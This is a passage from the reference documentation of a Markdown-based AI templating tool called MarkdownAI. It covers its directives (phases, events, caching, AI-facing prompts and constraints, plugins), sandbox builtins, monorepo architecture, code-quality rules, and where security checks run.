source | transform | @render type="format" /Pipe data through transforms to a renderer.
@render type="table" columns="a,b" /Render data in a specific format.

Phases

DirectiveDescription
@phase name ... @phase-endNamed workflow phase block.
@on-complete phase-name /Transition to next phase on completion. Replaces v1 arrow syntax.
@on-complete @macro-name /Call a macro on completion.

Events and Signals

DirectiveDescription
@event <name> with data, transport attributes ... @event-endFire a named signal with a payload to one or more transports during rendering.
Add visible attributeAlso render a blockquote in the document output.

Caching

ModifierDescription
@cache sessionCache in memory for current session.
@cache ttl=NCache for N seconds.
@cache persistCache to disk across restarts.
@cache mock=./file.jsonAlways serve from local fixture.

AI-Native

DirectiveDescription
@prompt <role> ... @prompt-endEmbed AI instructions. Invisible to humans.
@constraint[severity] <text> /Machine-readable rule surfaced in structured table for AI readers. Self-closing in v2.
@note ... @note-endSource-only comment, never in rendered output.
@note visible ... @note-endRenders as a blockquote callout.
@define-concept term "definition" /Register a domain term for AI glossary injection.
@section priority="high" ... @section-endSection with priority for context budget trimming.
@chunk-boundary id="name" /Mark a logical chunk boundary for RAG pipelines.

Sandbox Builtins

Functions usable inside @if conditions, {{ }} interpolations, and @set bindings. Available in addition to the operators on the Conditionals section.

FunctionDescription
allowed(value, list, opts?)Returns value when it is in list, otherwise false. Combine with || for a safe default. Pass {ignoreCase: true} as third arg for case-insensitive matching.
parse_brief(text)Parse a structured brief block into a field map.
read_section(path, heading)Return the body of a section in a markdown file.
read_markdown_section(path, heading)Same as read_section with explicit markdown handling.
extract_paths(text)Extract file paths from a block of text.
now_iso()Current time as an ISO 8601 string.
now_ms()Current time as a Unix millisecond timestamp.
parse_iso_ms(iso)Parse an ISO 8601 string into a Unix millisecond timestamp.
uuid_v4()Generate a UUID v4.
truncate(text, n)Truncate a string to n characters.
to_json(value)JSON-stringify a value for use in attribute strings.

Plugin System

Consumer directives for working with registered framework plugins.

DirectiveDescription
@markdownai-detect /Detect which loaded plugins match the current project. Returns plugin names and summaries.
@markdownai-detect as=info /Return full plugin metadata including layout and conventions.
@markdownai-detect include="layout,conventions" /Filter which sections to include in the output.
@markdownai-detect project="./path" /Detect against a specific project root instead of the current directory.
@plugin-data name="mdd" /Return the full descriptor for a named plugin regardless of detection signals.
@plugin-data name="mdd" include="layout" /Return specific sections of a plugin's descriptor.

Plugin File Directives

These directives are only valid inside *.plugin.md files. They define the plugin's identity and structure.

DirectiveDescription
@plugin-meta ... @plugin-meta-endPlugin identity block. Contains name:, version:, description:, and author: fields.
@plugin-detect ... @plugin-detect-endDetection signals block. Declares required_dirs:, required_files:, required_marker:, and optional version_signal: for project matching.
@plugin-layout ... @plugin-layout-endDirectory layout block. Describes the plugin's expected directory structure as YAML.
@plugin-conventions ... @plugin-conventions-endConventions block. Documents naming rules, file format expectations, and other usage guidance as YAML.

Architecture

Six packages in an npm workspaces monorepo. TypeScript strict mode throughout. ESM with .js extensions in source imports. Target ES2022, Node >= 18.

PackageNameRole
packages/parser@markdownai/parserAST production only. Never executes. Pure and inert - safe to run in any environment.
packages/renderer@markdownai/renderer11 format modules. ASCII output. No external charting libraries, no browser required.
packages/engine@markdownai/engineExecution, env resolution, pipelines, caching, strip. All security enforcement lives here.
packages/mcp@markdownai/mcpMCP server with 11 tools. Phase navigation. Lazy loading. Plugin introspection. Cross-phase session state.
packages/core@markdownai/coreThe mai binary and all CLI commands.
packages/vscodemarkdownai (VS Code)Language detection, syntax highlighting, snippets, completions, hover, diagnostics, live preview.

Code Quality Rules

  • No file > 300 lines
  • No function > 50 lines
  • No console.log in library code - use the logger
  • eval() is never used anywhere - vm.runInNewContext only
  • Never spawn child processes from parser - parser is pure AST only
  • One directive module per directive: packages/parser/src/directives/<name>.ts

Security Enforcement Location

All security enforcement happens in the engine, not the parser. The parser is intentionally inert - it produces an AST but never executes anything. This separation means you can parse any document safely in any environment without side effects. Security jails, content masking, and immutable rules all run in the engine layer when directives are actually evaluated.

Cross-Platform Design

Built-in pipe transforms (grep, sort, head, tail, wc -l, uniq) are pure Node.js implementations - no shell spawning. Shell-dependent commands (awk, sed, jq) spawn child processes and are Unix/WSL only. The engine detects platform at startup for shell command availability.